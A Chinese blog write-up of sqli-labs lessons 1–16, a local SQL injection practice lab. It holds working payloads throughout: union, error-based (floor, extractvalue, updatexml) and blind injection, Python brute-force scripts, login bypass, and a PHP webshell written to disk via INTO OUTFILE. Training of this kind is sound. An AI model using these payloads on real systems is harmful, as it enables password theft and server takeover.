sql-labs刷题记录

记录sql-labs学习

先看一下IMformation_schema结构

B5PhcR.png

Less-1(1-4联合注入)

小白可以先看这两篇文章

文章1 文章2

我们先来判断注入类型。

1
2
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 --+

经这两者判断,第一种传入网站显示正常,第二种传入网站显示不正常。可以看出我们的语句已经被执行。因此说明是单引号类型注入。 先判断字段数。依次递增order by 后面的数值。

1
2
3
4
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 2 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 --+

发现3时不报错,而4时报错,所以字段数是3。
接下来用联合查询判断显示位。首先我们要让id变成一个不存在的值以便显示出来的值都是union语句执行的结果。在这里我们使用100。

1
http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,3 --+

B5kf3Q.png

接下来就是常规操作

爆库:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,database() --+

爆表:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆字段:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

爆值:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(username,0x3a,password,0x3c2f62723e) from security.users --+

Less-2

这道题和上面那道其实很类似。

1
2
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=2 --+

第一种传入网站显示正常,第二种传入网站显示不正常。可以看出我们的语句已经被执行。因此说明是数值类型注入。
之后的注入类型与Less-1雷同(仅需把单引号去掉而已)。不再赘述。

Less-3

我们先传入id=1’,可以得到这样的报错信息。

B5eq1S.png

分析以下句子

1
COPY''1'') LIMIT 0,1'

左右两边的单引号是代表是字符串,再分析下面句子

1
'1'')

1‘ 是我们传进去的,由报错信息可知,后台的sql语句应该带有括号,并且有',即('$id')

由此看出,我们需要闭合’)

Less-4

老样子输入 ’ 看看是否有报错

发现输入 “ 会有报错,分析可得 我们需要闭合 ”)

B5QPOS.png

Less-5

这题不管我们怎么输入,只有两种回显状态,我们使用floor报错注入

Bofgn1.png

playload:

爆库:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆表:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

Bo5hNV.png

这里发现页面提示我输出信息超过一行,所以我们要采用limit语句来控制输出。

根据limit不断递增即可得到全部值。

爆字段:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()limit 0,1 ),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

floor报错注入

  • floor () 报错原理

研究了一下午,总算是把这个原理搞懂了。
利用 floor () 函数使 SQL 语句报错,实际上是由 rand () , count () , group by 三个函数语句联合使用造成的。
首先,看一下语句中使用到的函数和子句:

1
2
3
4
5
1. concat: 连接字符串功能
2. floor: 取float的整数值(向下取整)
3. rand: 取0~1之间的随机浮点值
4. group by: 根据一个或多个列对结果集进行分组并有排序功能
5. floor(rand(0)*2): 随机产生0或1

刚才已经说了 利用 floor () 的报错注入实际上是由 rand () , count () , group by 三个函数语句联合使用造成的,想要搞清楚原理我们首先来分析单个,
从 group by 子句开始,
这里我建了一个 person 表测试:
2.png我们通过 page 年龄这个字段来对表中数据分组:3.png可以看到我们出现了一个新的数据表,有 page 、 count () 这两个字段,count () 字段下表示每个年龄人的数量,可以联想到 group by 子句的执行流程,最初时,page-count () 这个数据表是空的,通过一行一行读原数据表中的 page 字段,如果读到的 page 在 page-count () 数据表中不存在,就将它插入,并且将对应的 count () 赋为 1,如果存在,就将其对应的 count () +1,直至扫完整个数据表。

Tips:这里有一点需要注意, group by 后跟的字段名是作为虚拟表的主键,主键不能重复,这也是报错的关键点。

报错的主要原因是虚拟表的主键重复,那我们来看一下是哪里,在什么情景下重复了。
这时候用到 rand () 函数了,继续来了解 rand () 函数的用法:

  1. 生成 0~1 之间的随机浮点值
  2. 可以给 rand () 传一个参数作为 rand () 的种子,然后 rand 函数会依据这个种子进行随机生成

这里加上 floor () 函数的用法:

  1. floor: 取 float 的整数值 (向下取整)

所以,floor (rand ()*2) 和 floor (rand (0)*2) 表示产生 0 或者 1。
我们来比较下它们的区别:
4.png5.png可以看得出来 **floor (rand (0)*2)**是有规律的 。

报错原因解析

通过 floor 报错的方法来爆数据的本质是 group by 语句的报错。group by 语句报错的原因

是 floor(random(0)*2)的不确定性,即可能为 0 也可能为 1

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,

如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果

该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算

rand 值)

如果此时临时表只有 key 为 1 的行不存在 key 为 0 的行,那么数据库要将该条记录插入临

时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为 1,就

会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值

实际测试中发现,出现报错,至少要求数据记录为 3 行,记录数超过 3 行一定会报错,2 行

时是不报错的。

Tips: 综上所述,当数据表记录大于三时,使用 group by floor (rand (0)2) 一定报错。

*在测试过程中,发现 rand(14)*2只需要两条数据就能报错。但如果from的表中只有一条数据的话floor()报错注入就没法用了,毕竟是重复,只插入一条数据怎么主键重复,对吧。

最后一句话总结下:floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。

xpath语法错误报错注入

从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。

updatexml()函数

  • updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
  • 作用:改变文档中符合条件的节点的值
  • 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
  • updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

第一个参数表示目标 xml 文档,第二个参数表示 xml 路径。
我们主要利用在第二个参数的位置,当正常查询时,第二个参数应该是 /xxx/xxx/xxx/… 这种形式。
如果写成其他形式就会报错。
当正常查询时,即使查询不到也不会报错。
7.png当我们尝试报错注入时:测试代码:

1
select pname,page from person where pwd = '111' and (extractvalue('hhhhhhh',concat(0x7e,(select database()))));

8.png

Tips: extractvalue () 能查询字符串的最大长度为 32,就是说如果我们想要的结果超过 32,就需要用 substring () 函数截取。

测试代码:

1
select pname,page from person where pwd = '111' and (extractvalue('hhhhhhh',concat(0x7e,substring(hex((select database())),1,20))));

9.png10.png

总结:利用 xpath 字符串格式报错进行注入,要注意查询字符长度限制。

extractvalue()函数

  • 此函数从目标XML中返回包含所查询值的字符串 语法:extractvalue(XML_document,xpath_string) 第一个参数:string格式,为XML文档对象的名称 第二个参数:xpath_string(xpath格式的字符串) select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
  • extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
  • select user,password from users where user_id=1 and (extractvalue(1,0x7e));
  • 由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

updatexml () 报错与 extractvalue () 报错类似,都是由于 xpath 格式错误报错,同样能查询字符串的最大长度为 32,同样在第二个参数出插入我们需要的语句代码。
测试代码:

1
select pname,page from person where pwd = '111' and updatexml(1,concat(0x7e,(select database()),0x7e),1);

11.png

总结:利用 xpath 字符串格式报错进行注入,要注意查询字符长度限制。

利用extractvalue()报错和updatexml()报错均只能查询32及以内长度的字符,当超出32时,我们要结合mid()和substr()来进行注入。

Less-6

学会一项新技能,利用burpsuit进行fuzz,发现需要闭合 “ ,后面的playload和Less-5一样了。

我用的是burp自带的fuzz字典

BoORHg.png

可以看见 “ 报错了

BoO44s.png

Less-7

这题是有关文件读取与注入的。这种题目一般有两个难点。
1.要有读取文件的权限
2.要知道绝对物理路径
对于这道题,我们先经过fuzz确定需要闭合’))。又由于我们是本机操作所以默认知道了绝对路径。因此上传一句话木马。

1
http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“t”])?>' into outfile "C:\\vip\\sqli-labs-master\\Less-7\\c.php"--+

之后使用中国菜刀连接即可getshell。
注意:地址中的每个\都要在前面加上另外一个\来转义

Less-8

经过简单测试,这道题我们需要闭合’。和Less-5一样没有显示位。但是和Less-5的区别在于过滤了报错语句,所以我们不能使用报错注入,只能使用布尔盲注和延时注入。在这里我们使用布尔盲注。我这里使用了一个半自动的布尔盲注脚本。

布尔盲注详细请看大佬: 布尔盲注

1
2
3
4
5
6
7
8
9
10
11
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ord(substr(playload,{},1))={}--+"
result =""
for i in range(1,1000):
for j in range(23,127):
payload = url.format(i,j)
r = requests.get(payload)
if "are" in r.text:
result += chr(j)
print (result)
break;

playload 那里填入我们的注入的语句

Less-9

这道题考的是延时注入。经测试,无论输入什么都是返回You are in…所以我们不能根据页面的返回来判断是否执行语句,也就是不能执行布尔注入。

时间盲注参考大佬:时间盲注

1
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5)--+

我们先进行此语句,发现页面没有立刻返回,说明语句已经被执行。说明我们闭合正确了。我继续用了一个半自动的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ord(substr(database(),{},1))={},sleep(5),1)--+"
result = ''
for i in range(1,10):
for j in range(23,127):
payload = url.format(i,j)
time1 = time.time()
r = requests.get(payload)
time2 = time.time()
time3 = time2 - time1
if time3 > 4:
result += chr(j)
print (result)
break

Less-10

首先测试闭合。

1
2
3
http://127.0.0.1/sqli-labs-master/Less-10/?id=1' and sleep(5)--+
http://127.0.0.1/sqli-labs-master/Less-10/?id=1') and sleep(5)--+
http://127.0.0.1/sqli-labs-master/Less-10/?id=1')) and sleep(5)--+

测试这上面三个发现都立刻加载出页面,说明语句没有被执行。再测试双引号发现可以被执行。

1
http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(5)--+

Less-11

从这关开始就进入post注入的范围了。但是其实post注入和get注入差别不大。
我们先对username传入admin’# ,密码随便输。可以发现我们登陆成功,显示出了admin账号的密码。接下来的注入过程类似Less-1。
先用order by判断出有两个字段。再依次对username进行传参。

1
2
3
4
username=admin' union select 1,database()#
username=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
username=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
username=1' union select 1,group_concat(username,0x3a,password,0x3c2f62723e) from security.users#

至于这个过程,password可以随便输入。因为当你传进去username的参数后,后台的sql语句变成这样:

1
SELECT username, password FROM users WHERE username='1' union select 1,group_concat(username,0x3a,password,0x3c2f62723e) from security.users#' and password='$passwd' LIMIT 0,1

可以看出,password部分已经被我们注释掉了,从而达到了绕过的目的。

Less-12

这一关和Less-11几乎一样,只是闭合方式从’变成了”),改变闭合方式后剩余步骤模仿Less-11就行。 这里解释一下一个问题,就是我们对username传入1’ or 1=1#后发现我们是以dumb账号登陆。这里是因为他在语句后面加了limit限制只允许输出一条数据的原因,而dumb账号在表中的优先级是最高的,所以优先输出dumb账户的数据。

Less-13

经测试,可用’)来进行闭合,但是闭合后发现没有显示位,测试了一下发现可以使用报错注入。这次我使用extractvalue()报错。
依次对username进行传参。

1
2
3
4
username:1') and extractvalue(1,concat(1,database()))#
username:1') and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username:1') and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name='users' limit 0,1)))#
username:1') and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 1,1)))#

Less-14

这道题和上一道题基本一样,只是转换闭合方式为 “。之后步骤模仿Less-13即可

Less-15

页面有回显,但是无法使用报错注入。故使用布尔盲注。
这里继续用一个半自动的脚本来解决:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-15/"
result =""
for i in range(1,10):
for j in range(65,150):
payload1 = "admin'^(ascii(substr(database(),{},1))>{})^1#".format(i,j)
payload2 = "admin'^(ascii(mid(database()from {}))>{})^1%23".format(i,j)
data = {"uname":payload1,"passwd":"123"}
r = requests.post(url,data=data)
if "slap.jpg" in r.text:
result += chr(j)
print result
break

Less-16

这道题和Less-15基本一样。只不过把闭合换成了”)而已,只需要更改脚本即可得出结果。

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~